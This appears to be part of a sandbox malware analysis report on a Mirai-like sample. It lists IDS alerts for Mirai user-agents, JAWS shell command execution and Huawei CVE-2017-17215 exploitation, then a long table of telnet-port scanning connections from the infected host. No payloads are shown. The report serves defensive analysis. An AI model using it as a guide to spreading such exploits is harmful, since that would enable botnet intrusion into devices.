2024-10-14T17:30:26.009555+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50924	118.177.96.207	443	TCP
2024-10-14T17:30:26.009618+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60224	118.65.120.247	443	TCP
2024-10-14T17:30:26.009661+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54930	148.153.92.233	443	TCP
2024-10-14T17:30:26.009721+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33462	148.32.122.174	443	TCP
2024-10-14T17:30:26.009784+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37242	212.18.126.84	443	TCP
2024-10-14T17:30:26.009826+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49096	2.174.216.58	443	TCP
2024-10-14T17:30:26.009893+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40072	117.122.213.10	443	TCP
2024-10-14T17:30:26.009924+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36618	79.9.42.56	443	TCP
2024-10-14T17:30:26.010110+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46918	118.168.66.44	443	TCP
2024-10-14T17:30:26.010209+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40706	212.165.67.63	443	TCP
2024-10-14T17:30:27.537730+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59566	172.7.191.52	80	TCP
2024-10-14T17:30:27.537730+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59566	172.7.191.52	80	TCP
2024-10-14T17:30:33.296893+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36872	41.176.3.68	37215	TCP
2024-10-14T17:30:33.308999+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47074	41.127.252.72	37215	TCP
2024-10-14T17:30:33.425108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37580	197.255.72.33	37215	TCP
2024-10-14T17:30:34.312076+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53014	156.90.211.100	37215	TCP
2024-10-14T17:30:34.912046+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55132	13.249.38.146	80	TCP
2024-10-14T17:30:34.912046+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55132	13.249.38.146	80	TCP
2024-10-14T17:30:36.282828+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37098	62.176.2.9	80	TCP
2024-10-14T17:30:36.282828+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37098	62.176.2.9	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 17:30:06.873055935 CEST	12058	23	192.168.2.14	173.167.241.32
Oct 14, 2024 17:30:06.873055935 CEST	12058	23	192.168.2.14	41.9.64.14
Oct 14, 2024 17:30:06.873059034 CEST	12058	23	192.168.2.14	98.109.255.32
Oct 14, 2024 17:30:06.873059988 CEST	12058	23	192.168.2.14	32.243.139.213
Oct 14, 2024 17:30:06.873106956 CEST	12058	23	192.168.2.14	156.199.64.157
Oct 14, 2024 17:30:06.873107910 CEST	12058	23	192.168.2.14	94.139.240.229
Oct 14, 2024 17:30:06.873111963 CEST	12058	23	192.168.2.14	57.69.141.47
Oct 14, 2024 17:30:06.873116016 CEST	12058	23	192.168.2.14	181.235.217.168
Oct 14, 2024 17:30:06.873116016 CEST	12058	23	192.168.2.14	219.33.103.174
Oct 14, 2024 17:30:06.873141050 CEST	12058	23	192.168.2.14	12.216.230.134
Oct 14, 2024 17:30:06.873143911 CEST	12058	23	192.168.2.14	24.156.129.86
Oct 14, 2024 17:30:06.873184919 CEST	12058	23	192.168.2.14	116.247.77.200
Oct 14, 2024 17:30:06.873188019 CEST	12058	23	192.168.2.14	161.57.7.247
Oct 14, 2024 17:30:06.873192072 CEST	12058	23	192.168.2.14	208.108.109.204
Oct 14, 2024 17:30:06.873197079 CEST	12058	23	192.168.2.14	48.115.50.1
Oct 14, 2024 17:30:06.873217106 CEST	12058	23	192.168.2.14	66.140.45.169
Oct 14, 2024 17:30:06.873218060 CEST	12058	23	192.168.2.14	130.18.218.137
Oct 14, 2024 17:30:06.873218060 CEST	12058	23	192.168.2.14	124.37.241.209
Oct 14, 2024 17:30:06.873230934 CEST	12058	23	192.168.2.14	9.30.58.66
Oct 14, 2024 17:30:06.873240948 CEST	12058	23	192.168.2.14	40.149.37.35
Oct 14, 2024 17:30:06.873240948 CEST	12058	23	192.168.2.14	187.139.215.61
Oct 14, 2024 17:30:06.873250008 CEST	12058	23	192.168.2.14	27.78.38.173
Oct 14, 2024 17:30:06.873250961 CEST	12058	23	192.168.2.14	150.99.102.117
Oct 14, 2024 17:30:06.873250008 CEST	12058	23	192.168.2.14	20.151.159.114
Oct 14, 2024 17:30:06.873281956 CEST	12058	23	192.168.2.14	40.137.161.209
Oct 14, 2024 17:30:06.873292923 CEST	12058	23	192.168.2.14	164.70.215.21
Oct 14, 2024 17:30:06.873296976 CEST	12058	23	192.168.2.14	161.13.133.196
Oct 14, 2024 17:30:06.873311043 CEST	12058	23	192.168.2.14	170.15.21.39
Oct 14, 2024 17:30:06.873337984 CEST	12058	23	192.168.2.14	69.154.200.175
Oct 14, 2024 17:30:06.873342037 CEST	12058	23	192.168.2.14	190.73.5.10
Oct 14, 2024 17:30:06.873342037 CEST	12058	23	192.168.2.14	35.174.82.249
Oct 14, 2024 17:30:06.873346090 CEST	12058	23	192.168.2.14	191.8.115.211
Oct 14, 2024 17:30:06.873346090 CEST	12058	23	192.168.2.14	164.230.206.14
Oct 14, 2024 17:30:06.873363018 CEST	12058	23	192.168.2.14	141.40.234.211
Oct 14, 2024 17:30:06.873364925 CEST	12058	23	192.168.2.14	183.30.89.161
Oct 14, 2024 17:30:06.873393059 CEST	12058	23	192.168.2.14	180.153.9.176
Oct 14, 2024 17:30:06.873409986 CEST	12058	23	192.168.2.14	197.208.154.35
Oct 14, 2024 17:30:06.873409986 CEST	12058	23	192.168.2.14	110.6.205.136
Oct 14, 2024 17:30:06.873429060 CEST	12058	23	192.168.2.14	133.166.17.9
Oct 14, 2024 17:30:06.873429060 CEST	12058	23	192.168.2.14	204.252.176.152
Oct 14, 2024 17:30:06.873431921 CEST	12058	23	192.168.2.14	125.59.30.179
Oct 14, 2024 17:30:06.873434067 CEST	12058	23	192.168.2.14	168.4.19.140
Oct 14, 2024 17:30:06.873444080 CEST	12058	23	192.168.2.14	66.13.249.127
Oct 14, 2024 17:30:06.873461962 CEST	12058	23	192.168.2.14	182.173.129.246
Oct 14, 2024 17:30:06.873482943 CEST	12058	23	192.168.2.14	38.231.167.158
Oct 14, 2024 17:30:06.873483896 CEST	12058	23	192.168.2.14	116.217.136.109
Oct 14, 2024 17:30:06.873495102 CEST	12058	23	192.168.2.14	103.195.30.108
Oct 14, 2024 17:30:06.873507023 CEST	12058	23	192.168.2.14	14.159.88.55
Oct 14, 2024 17:30:06.873511076 CEST	12058	23	192.168.2.14	177.150.116.205
Oct 14, 2024 17:30:06.873533964 CEST	12058	23	192.168.2.14	1.170.6.206
Oct 14, 2024 17:30:06.873537064 CEST	12058	23	192.168.2.14	2.107.95.171
Oct 14, 2024 17:30:06.873547077 CEST	12058	23	192.168.2.14	128.196.200.189
Oct 14, 2024 17:30:06.873603106 CEST	12058	23	192.168.2.14	4.233.10.115
Oct 14, 2024 17:30:06.873604059 CEST	12058	23	192.168.2.14	97.103.36.128
Oct 14, 2024 17:30:06.873605967 CEST	12058	23	192.168.2.14	101.215.45.130
Oct 14, 2024 17:30:06.873605967 CEST	12058	23	192.168.2.14	154.239.100.49
Oct 14, 2024 17:30:06.873606920 CEST	12058	23	192.168.2.14	71.135.228.51
Oct 14, 2024 17:30:06.873606920 CEST	12058	23	192.168.2.14	151.247.114.12
Oct 14, 2024 17:30:06.873608112 CEST	12058	23	192.168.2.14	123.12.3.107
Oct 14, 2024 17:30:06.873608112 CEST	12058	23	192.168.2.14	40.251.3.123
Oct 14, 2024 17:30:06.873642921 CEST	12058	23	192.168.2.14	209.34.229.39
Oct 14, 2024 17:30:06.873647928 CEST	12058	23	192.168.2.14	113.86.101.254
Oct 14, 2024 17:30:06.873661995 CEST	12058	23	192.168.2.14	45.174.52.105
Oct 14, 2024 17:30:06.873661995 CEST	12058	23	192.168.2.14	70.105.22.141
Oct 14, 2024 17:30:06.873667002 CEST	12058	23	192.168.2.14	104.158.105.16
Oct 14, 2024 17:30:06.873677015 CEST	12058	23	192.168.2.14	134.197.22.25
Oct 14, 2024 17:30:06.873682976 CEST	12058	23	192.168.2.14	87.159.61.49
Oct 14, 2024 17:30:06.873699903 CEST	12058	23	192.168.2.14	25.93.216.8
Oct 14, 2024 17:30:06.873722076 CEST	12058	23	192.168.2.14	108.50.152.159
Oct 14, 2024 17:30:06.873722076 CEST	12058	23	192.168.2.14	35.245.47.93
Oct 14, 2024 17:30:06.873728991 CEST	12058	23	192.168.2.14	204.6.173.1
Oct 14, 2024 17:30:06.873739958 CEST	12058	23	192.168.2.14	45.59.10.98
Oct 14, 2024 17:30:06.873739958 CEST	12058	23	192.168.2.14	14.177.61.150
Oct 14, 2024 17:30:06.873759031 CEST	12058	23	192.168.2.14	37.182.134.151
Oct 14, 2024 17:30:06.873766899 CEST	12058	23	192.168.2.14	182.60.152.105
Oct 14, 2024 17:30:06.873775959 CEST	12058	23	192.168.2.14	192.179.79.254
Oct 14, 2024 17:30:06.873784065 CEST	12058	23	192.168.2.14	2.4.227.218
Oct 14, 2024 17:30:06.873784065 CEST	12058	23	192.168.2.14	179.111.43.68
Oct 14, 2024 17:30:06.873804092 CEST	12058	23	192.168.2.14	107.64.85.81
Oct 14, 2024 17:30:06.873809099 CEST	12058	23	192.168.2.14	74.153.81.52
Oct 14, 2024 17:30:06.873820066 CEST	12058	23	192.168.2.14	46.3.93.65
Oct 14, 2024 17:30:06.873836040 CEST	12058	23	192.168.2.14	182.21.206.218
Oct 14, 2024 17:30:06.873852015 CEST	12058	23	192.168.2.14	87.71.226.183
Oct 14, 2024 17:30:06.873852015 CEST	12058	23	192.168.2.14	167.202.26.228
Oct 14, 2024 17:30:06.873857975 CEST	12058	23	192.168.2.14	137.143.105.150
Oct 14, 2024 17:30:06.873866081 CEST	12058	23	192.168.2.14	104.156.25.65
Oct 14, 2024 17:30:06.873876095 CEST	12058	23	192.168.2.14	85.149.27.74
Oct 14, 2024 17:30:06.873878002 CEST	12058	23	192.168.2.14	19.3.12.81
Oct 14, 2024 17:30:06.873888969 CEST	12058	23	192.168.2.14	198.21.48.149
Oct 14, 2024 17:30:06.873900890 CEST	12058	23	192.168.2.14	59.114.129.161
Oct 14, 2024 17:30:06.873908043 CEST	12058	23	192.168.2.14	13.92.184.22
Oct 14, 2024 17:30:06.873920918 CEST	12058	23	192.168.2.14	68.224.13.94
Oct 14, 2024 17:30:06.873970985 CEST	12058	23	192.168.2.14	149.188.115.52
Oct 14, 2024 17:30:06.874001026 CEST	12058	23	192.168.2.14	20.2.160.33
Oct 14, 2024 17:30:06.874001026 CEST	12058	23	192.168.2.14	86.140.91.82
Oct 14, 2024 17:30:06.874028921 CEST	12058	23	192.168.2.14	132.120.125.189
Oct 14, 2024 17:30:06.874032021 CEST	12058	23	192.168.2.14	159.20.244.229
Oct 14, 2024 17:30:06.874032021 CEST	12058	23	192.168.2.14	222.191.18.34
Oct 14, 2024 17:30:06.874037981 CEST	12058	23	192.168.2.14	177.184.123.139
Oct 14, 2024 17:30:06.874038935 CEST	12058	23	192.168.2.14	218.230.130.16
Oct 14, 2024 17:30:06.874037981 CEST	12058	23	192.168.2.14	168.2.173.85
Oct 14, 2024 17:30:06.874052048 CEST	12058	23	192.168.2.14	78.112.21.3
Oct 14, 2024 17:30:06.874068975 CEST	12058	23	192.168.2.14	192.80.86.105
Oct 14, 2024 17:30:06.874073982 CEST	12058	23	192.168.2.14	196.202.82.244
Oct 14, 2024 17:30:06.874073982 CEST	12058	23	192.168.2.14	154.152.32.228
Oct 14, 2024 17:30:06.874075890 CEST	12058	23	192.168.2.14	92.26.253.205
Oct 14, 2024 17:30:06.874100924 CEST	12058	23	192.168.2.14	174.81.148.67
Oct 14, 2024 17:30:06.874104023 CEST	12058	23	192.168.2.14	5.58.83.22
Oct 14, 2024 17:30:06.874108076 CEST	12058	23	192.168.2.14	143.190.197.134
Oct 14, 2024 17:30:06.874128103 CEST	12058	23	192.168.2.14	170.229.66.71
Oct 14, 2024 17:30:06.874131918 CEST	12058	23	192.168.2.14	123.128.36.172
Oct 14, 2024 17:30:06.874134064 CEST	12058	23	192.168.2.14	86.130.17.231
Oct 14, 2024 17:30:06.874151945 CEST	12058	23	192.168.2.14	69.112.156.75
Oct 14, 2024 17:30:06.874155045 CEST	12058	23	192.168.2.14	203.216.133.23
Oct 14, 2024 17:30:06.874174118 CEST	12058	23	192.168.2.14	172.58.27.217
Oct 14, 2024 17:30:06.874174118 CEST	12058	23	192.168.2.14	187.130.95.64
Oct 14, 2024 17:30:06.874183893 CEST	12058	23	192.168.2.14	134.111.36.138
Oct 14, 2024 17:30:06.874212980 CEST	12058	23	192.168.2.14	23.3.142.157
Oct 14, 2024 17:30:06.874212980 CEST	12058	23	192.168.2.14	158.53.220.120
Oct 14, 2024 17:30:06.874222994 CEST	12058	23	192.168.2.14	70.220.128.134
Oct 14, 2024 17:30:06.874222994 CEST	12058	23	192.168.2.14	153.83.241.119
Oct 14, 2024 17:30:06.874274969 CEST	12058	23	192.168.2.14	200.32.91.185
Oct 14, 2024 17:30:06.874281883 CEST	12058	23	192.168.2.14	171.68.202.151
Oct 14, 2024 17:30:06.874284983 CEST	12058	23	192.168.2.14	84.212.186.125
Oct 14, 2024 17:30:06.874286890 CEST	12058	23	192.168.2.14	182.177.51.199
Oct 14, 2024 17:30:06.874299049 CEST	12058	23	192.168.2.14	158.147.22.60
Oct 14, 2024 17:30:06.874305964 CEST	12058	23	192.168.2.14	170.77.226.10
Oct 14, 2024 17:30:06.874321938 CEST	12058	23	192.168.2.14	151.90.142.103
Oct 14, 2024 17:30:06.874321938 CEST	12058	23	192.168.2.14	218.104.21.231
Oct 14, 2024 17:30:06.874336004 CEST	12058	23	192.168.2.14	143.105.184.117
Oct 14, 2024 17:30:06.874336004 CEST	12058	23	192.168.2.14	117.236.108.25
Oct 14, 2024 17:30:06.874351025 CEST	12058	23	192.168.2.14	104.119.106.31
Oct 14, 2024 17:30:06.874382973 CEST	12058	23	192.168.2.14	51.164.7.69
Oct 14, 2024 17:30:06.874386072 CEST	12058	23	192.168.2.14	89.45.163.246
Oct 14, 2024 17:30:06.874404907 CEST	12058	23	192.168.2.14	37.155.68.2
Oct 14, 2024 17:30:06.874408960 CEST	12058	23	192.168.2.14	158.182.242.161
Oct 14, 2024 17:30:06.874417067 CEST	12058	23	192.168.2.14	120.92.98.8
Oct 14, 2024 17:30:06.874439955 CEST	12058	23	192.168.2.14	89.218.183.12
Oct 14, 2024 17:30:06.874454975 CEST	12058	23	192.168.2.14	120.12.113.172
Oct 14, 2024 17:30:06.874456882 CEST	12058	23	192.168.2.14	131.99.188.92
Oct 14, 2024 17:30:06.874460936 CEST	12058	23	192.168.2.14	88.39.93.247
Oct 14, 2024 17:30:06.874460936 CEST	12058	23	192.168.2.14	4.108.171.222
Oct 14, 2024 17:30:06.874469995 CEST	12058	23	192.168.2.14	201.119.197.206
Oct 14, 2024 17:30:06.874469995 CEST	12058	23	192.168.2.14	118.24.114.173
Oct 14, 2024 17:30:06.874469995 CEST	12058	23	192.168.2.14	120.215.248.164
Oct 14, 2024 17:30:06.874475002 CEST	12058	23	192.168.2.14	192.17.132.242
Oct 14, 2024 17:30:06.874475956 CEST	12058	23	192.168.2.14	203.54.30.179
Oct 14, 2024 17:30:06.874490976 CEST	12058	23	192.168.2.14	75.182.21.175
Oct 14, 2024 17:30:06.874490976 CEST	12058	23	192.168.2.14	19.195.246.127
Oct 14, 2024 17:30:06.874494076 CEST	12058	23	192.168.2.14	163.69.236.209
Oct 14, 2024 17:30:06.874514103 CEST	12058	23	192.168.2.14	61.181.58.114
Oct 14, 2024 17:30:06.874515057 CEST	12058	23	192.168.2.14	104.135.57.160
Oct 14, 2024 17:30:06.874515057 CEST	12058	23	192.168.2.14	148.157.29.34
Oct 14, 2024 17:30:06.874531031 CEST	12058	23	192.168.2.14	162.86.243.159
Oct 14, 2024 17:30:06.874533892 CEST	12058	23	192.168.2.14	144.87.68.60
Oct 14, 2024 17:30:06.874558926 CEST	12058	23	192.168.2.14	138.223.238.38
Oct 14, 2024 17:30:06.874568939 CEST	12058	23	192.168.2.14	65.144.118.22
Oct 14, 2024 17:30:06.874576092 CEST	12058	23	192.168.2.14	144.13.225.134
Oct 14, 2024 17:30:06.874582052 CEST	12058	23	192.168.2.14	200.67.241.8
Oct 14, 2024 17:30:06.874597073 CEST	12058	23	192.168.2.14	92.169.37.128
Oct 14, 2024 17:30:06.874602079 CEST	12058	23	192.168.2.14	154.127.1.238
Oct 14, 2024 17:30:06.874620914 CEST	12058	23	192.168.2.14	195.85.3.0
Oct 14, 2024 17:30:06.874623060 CEST	12058	23	192.168.2.14	116.86.132.175
Oct 14, 2024 17:30:06.874633074 CEST	12058	23	192.168.2.14	92.20.61.247
Oct 14, 2024 17:30:06.874644995 CEST	12058	23	192.168.2.14	95.136.243.25
Oct 14, 2024 17:30:06.874644995 CEST	12058	23	192.168.2.14	140.67.0.181
Oct 14, 2024 17:30:06.874667883 CEST	12058	23	192.168.2.14	67.28.72.169
Oct 14, 2024 17:30:06.874680042 CEST	12058	23	192.168.2.14	133.90.83.51
Oct 14, 2024 17:30:06.874684095 CEST	12058	23	192.168.2.14	106.234.11.119
Oct 14, 2024 17:30:06.874695063 CEST	12058	23	192.168.2.14	174.47.108.237
Oct 14, 2024 17:30:06.874701023 CEST	12058	23	192.168.2.14	43.94.20.3
Oct 14, 2024 17:30:06.874710083 CEST	12058	23	192.168.2.14	92.218.213.247
Oct 14, 2024 17:30:06.874732018 CEST	12058	23	192.168.2.14	51.145.55.88
Oct 14, 2024 17:30:06.874737024 CEST	12058	23	192.168.2.14	200.169.94.47
Oct 14, 2024 17:30:06.874747038 CEST	12058	23	192.168.2.14	130.205.78.119
Oct 14, 2024 17:30:06.874752998 CEST	12058	23	192.168.2.14	83.8.152.143
Oct 14, 2024 17:30:06.874752998 CEST	12058	23	192.168.2.14	61.157.113.145
Oct 14, 2024 17:30:06.874758005 CEST	12058	23	192.168.2.14	223.134.192.62
Oct 14, 2024 17:30:06.874759912 CEST	12058	23	192.168.2.14	45.147.152.16
Oct 14, 2024 17:30:06.874758005 CEST	12058	23	192.168.2.14	166.235.22.33
Oct 14, 2024 17:30:06.874758005 CEST	12058	23	192.168.2.14	221.140.235.127
Oct 14, 2024 17:30:06.874758005 CEST	12058	23	192.168.2.14	52.181.142.158
Oct 14, 2024 17:30:06.874771118 CEST	12058	23	192.168.2.14	119.202.226.184
Oct 14, 2024 17:30:06.874794960 CEST	12058	23	192.168.2.14	77.176.53.5
Oct 14, 2024 17:30:06.874800920 CEST	12058	23	192.168.2.14	36.85.238.136
Oct 14, 2024 17:30:06.874825001 CEST	12058	23	192.168.2.14	63.175.43.186
Oct 14, 2024 17:30:06.875000000 CEST	12058	23	192.168.2.14	126.8.232.12
Oct 14, 2024 17:30:06.875024080 CEST	12058	23	192.168.2.14	54.42.75.80
Oct 14, 2024 17:30:06.875024080 CEST	12058	23	192.168.2.14	13.41.77.229
Oct 14, 2024 17:30:06.875025988 CEST	12058	23	192.168.2.14	202.154.202.95
Oct 14, 2024 17:30:06.875027895 CEST	12058	23	192.168.2.14	78.95.113.31
Oct 14, 2024 17:30:06.875041008 CEST	12058	23	192.168.2.14	42.0.104.102
Oct 14, 2024 17:30:06.875041008 CEST	12058	23	192.168.2.14	181.85.15.198
Oct 14, 2024 17:30:06.875041962 CEST	12058	23	192.168.2.14	54.137.92.147
Oct 14, 2024 17:30:06.875041962 CEST	12058	23	192.168.2.14	194.16.122.160
Oct 14, 2024 17:30:06.875050068 CEST	12058	23	192.168.2.14	207.51.144.201
Oct 14, 2024 17:30:06.875065088 CEST	12058	23	192.168.2.14	64.233.91.229
Oct 14, 2024 17:30:06.875067949 CEST	12058	23	192.168.2.14	40.11.33.56
Oct 14, 2024 17:30:06.875070095 CEST	12058	23	192.168.2.14	59.43.113.243
Oct 14, 2024 17:30:06.875072002 CEST	12058	23	192.168.2.14	36.193.239.42
Oct 14, 2024 17:30:06.875072002 CEST	12058	23	192.168.2.14	216.174.244.17
Oct 14, 2024 17:30:06.875092030 CEST	12058	23	192.168.2.14	1.33.217.8
Oct 14, 2024 17:30:06.875114918 CEST	12058	23	192.168.2.14	77.137.124.57
Oct 14, 2024 17:30:06.875116110 CEST	12058	23	192.168.2.14	48.232.251.244
Oct 14, 2024 17:30:06.875118017 CEST	12058	23	192.168.2.14	174.167.68.11
Oct 14, 2024 17:30:06.875118971 CEST	12058	23	192.168.2.14	123.177.68.136
Oct 14, 2024 17:30:06.875118017 CEST	12058	23	192.168.2.14	164.140.37.178
Oct 14, 2024 17:30:06.875128984 CEST	12058	23	192.168.2.14	156.232.99.223
Oct 14, 2024 17:30:06.875144958 CEST	12058	23	192.168.2.14	196.2.8.158
Oct 14, 2024 17:30:06.875154972 CEST	12058	23	192.168.2.14	124.84.208.103
Oct 14, 2024 17:30:06.875154972 CEST	12058	23	192.168.2.14	153.5.77.182
Oct 14, 2024 17:30:06.875161886 CEST	12058	23	192.168.2.14	48.74.108.217
Oct 14, 2024 17:30:06.875169992 CEST	12058	23	192.168.2.14	91.177.198.103
Oct 14, 2024 17:30:06.875174046 CEST	12058	23	192.168.2.14	126.53.226.82
Oct 14, 2024 17:30:06.875178099 CEST	12058	23	192.168.2.14	70.222.45.6
Oct 14, 2024 17:30:06.875195980 CEST	12058	23	192.168.2.14	176.198.184.218
Oct 14, 2024 17:30:06.875199080 CEST	12058	23	192.168.2.14	20.221.126.87
Oct 14, 2024 17:30:06.875215054 CEST	12058	23	192.168.2.14	151.40.33.239
Oct 14, 2024 17:30:06.875216007 CEST	12058	23	192.168.2.14	169.87.113.240
Oct 14, 2024 17:30:06.875236988 CEST	12058	23	192.168.2.14	77.84.233.194
Oct 14, 2024 17:30:06.875241041 CEST	12058	23	192.168.2.14	93.193.81.65
Oct 14, 2024 17:30:06.875248909 CEST	12058	23	192.168.2.14	61.170.116.141
Oct 14, 2024 17:30:06.875262022 CEST	12058	23	192.168.2.14	161.205.188.79
Oct 14, 2024 17:30:06.875267982 CEST	12058	23	192.168.2.14	209.77.143.59
Oct 14, 2024 17:30:06.875286102 CEST	12058	23	192.168.2.14	166.79.155.11
Oct 14, 2024 17:30:06.875289917 CEST	12058	23	192.168.2.14	18.46.162.85
Oct 14, 2024 17:30:06.875307083 CEST	12058	23	192.168.2.14	208.118.216.57
Oct 14, 2024 17:30:06.875344992 CEST	12058	23	192.168.2.14	98.128.49.182
Oct 14, 2024 17:30:06.875348091 CEST	12058	23	192.168.2.14	171.120.236.236
Oct 14, 2024 17:30:06.875348091 CEST	12058	23	192.168.2.14	174.122.176.47
Oct 14, 2024 17:30:06.875354052 CEST	12058	23	192.168.2.14	109.18.59.83
Oct 14, 2024 17:30:06.875364065 CEST	12058	23	192.168.2.14	164.239.23.158
Oct 14, 2024 17:30:06.875364065 CEST	12058	23	192.168.2.14	77.147.209.94
Oct 14, 2024 17:30:06.875366926 CEST	12058	23	192.168.2.14	88.188.149.27
Oct 14, 2024 17:30:06.875368118 CEST	12058	23	192.168.2.14	129.30.128.6
Oct 14, 2024 17:30:06.875369072 CEST	12058	23	192.168.2.14	5.187.197.203
Oct 14, 2024 17:30:06.875369072 CEST	12058	23	192.168.2.14	161.34.232.185
Oct 14, 2024 17:30:06.875376940 CEST	12058	23	192.168.2.14	187.94.183.36
Oct 14, 2024 17:30:06.875401974 CEST	12058	23	192.168.2.14	185.80.85.67
Oct 14, 2024 17:30:06.875416994 CEST	12058	23	192.168.2.14	169.167.133.73
Oct 14, 2024 17:30:06.875428915 CEST	12058	23	192.168.2.14	193.246.196.131
Oct 14, 2024 17:30:06.875428915 CEST	12058	23	192.168.2.14	222.123.156.251
Oct 14, 2024 17:30:06.875442982 CEST	12058	23	192.168.2.14	66.157.155.125
Oct 14, 2024 17:30:06.875447035 CEST	12058	23	192.168.2.14	183.18.210.94
Oct 14, 2024 17:30:06.875466108 CEST	12058	23	192.168.2.14	87.195.203.166
Oct 14, 2024 17:30:06.875480890 CEST	12058	23	192.168.2.14	19.179.76.155
Oct 14, 2024 17:30:06.875483036 CEST	12058	23	192.168.2.14	212.250.52.128
Oct 14, 2024 17:30:06.875483990 CEST	12058	23	192.168.2.14	179.77.172.78
Oct 14, 2024 17:30:06.875483990 CEST	12058	23	192.168.2.14	192.1.229.96
Oct 14, 2024 17:30:06.875504971 CEST	12058	23	192.168.2.14	19.127.155.148
Oct 14, 2024 17:30:06.875505924 CEST	12058	23	192.168.2.14	81.17.68.151
Oct 14, 2024 17:30:06.875509024 CEST	12058	23	192.168.2.14	145.156.136.61
Oct 14, 2024 17:30:06.875516891 CEST	12058	23	192.168.2.14	167.185.211.110
Oct 14, 2024 17:30:06.875529051 CEST	12058	23	192.168.2.14	60.193.84.229
Oct 14, 2024 17:30:06.875543118 CEST	12058	23	192.168.2.14	163.156.46.207
Oct 14, 2024 17:30:06.875543118 CEST	12058	23	192.168.2.14	122.73.176.173
Oct 14, 2024 17:30:06.875562906 CEST	12058	23	192.168.2.14	51.47.167.130
Oct 14, 2024 17:30:06.875577927 CEST	12058	23	192.168.2.14	137.129.179.85
Oct 14, 2024 17:30:06.875581980 CEST	12058	23	192.168.2.14	52.13.7.50
Oct 14, 2024 17:30:06.875581980 CEST	12058	23	192.168.2.14	87.191.30.187
Oct 14, 2024 17:30:06.875581980 CEST	12058	23	192.168.2.14	78.213.70.90
Oct 14, 2024 17:30:06.875587940 CEST	12058	23	192.168.2.14	182.98.90.66
Oct 14, 2024 17:30:06.875587940 CEST	12058	23	192.168.2.14	51.123.80.254
Oct 14, 2024 17:30:06.875616074 CEST	12058	23	192.168.2.14	183.169.248.81
Oct 14, 2024 17:30:06.875621080 CEST	12058	23	192.168.2.14	36.102.101.132
Oct 14, 2024 17:30:06.875622034 CEST	12058	23	192.168.2.14	189.212.19.143
Oct 14, 2024 17:30:06.875624895 CEST	12058	23	192.168.2.14	62.234.86.234
Oct 14, 2024 17:30:06.875629902 CEST	12058	23	192.168.2.14	167.128.212.63
Oct 14, 2024 17:30:06.875629902 CEST	12058	23	192.168.2.14	82.101.218.152
Oct 14, 2024 17:30:06.875636101 CEST	12058	23	192.168.2.14	203.124.86.29
Oct 14, 2024 17:30:06.875647068 CEST	12058	23	192.168.2.14	49.104.5.84
Oct 14, 2024 17:30:06.875660896 CEST	12058	23	192.168.2.14	46.86.209.130
Oct 14, 2024 17:30:06.875660896 CEST	12058	23	192.168.2.14	130.97.213.99
Oct 14, 2024 17:30:06.875674963 CEST	12058	23	192.168.2.14	122.142.169.87
Oct 14, 2024 17:30:06.875679970 CEST	12058	23	192.168.2.14	118.152.42.236
Oct 14, 2024 17:30:06.875688076 CEST	12058	23	192.168.2.14	170.71.180.199
Oct 14, 2024 17:30:06.875705957 CEST	12058	23	192.168.2.14	201.152.183.176
Oct 14, 2024 17:30:06.875716925 CEST	12058	23	192.168.2.14	121.167.216.145
Oct 14, 2024 17:30:06.875719070 CEST	12058	23	192.168.2.14	190.121.73.156
Oct 14, 2024 17:30:06.875720024 CEST	12058	23	192.168.2.14	122.87.202.167
Oct 14, 2024 17:30:06.875725031 CEST	12058	23	192.168.2.14	119.183.203.85
Oct 14, 2024 17:30:06.875730991 CEST	12058	23	192.168.2.14	49.215.56.82
Oct 14, 2024 17:30:06.875739098 CEST	12058	23	192.168.2.14	34.250.107.131
Oct 14, 2024 17:30:06.875761032 CEST	12058	23	192.168.2.14	88.121.4.53
Oct 14, 2024 17:30:06.875773907 CEST	12058	23	192.168.2.14	202.226.85.225
Oct 14, 2024 17:30:06.875780106 CEST	12058	23	192.168.2.14	8.205.199.254
Oct 14, 2024 17:30:06.875781059 CEST	12058	23	192.168.2.14	68.153.178.15
Oct 14, 2024 17:30:06.875783920 CEST	12058	23	192.168.2.14	178.243.29.141
Oct 14, 2024 17:30:06.875794888 CEST	12058	23	192.168.2.14	34.153.88.88
Oct 14, 2024 17:30:06.875794888 CEST	12058	23	192.168.2.14	133.86.183.8
Oct 14, 2024 17:30:06.875798941 CEST	12058	23	192.168.2.14	193.236.202.111
Oct 14, 2024 17:30:06.875816107 CEST	12058	23	192.168.2.14	162.60.45.144
Oct 14, 2024 17:30:06.875827074 CEST	12058	23	192.168.2.14	205.53.204.24
Oct 14, 2024 17:30:06.875829935 CEST	12058	23	192.168.2.14	70.26.170.232
Oct 14, 2024 17:30:06.875855923 CEST	12058	23	192.168.2.14	195.166.77.114
Oct 14, 2024 17:30:06.875855923 CEST	12058	23	192.168.2.14	122.206.155.210
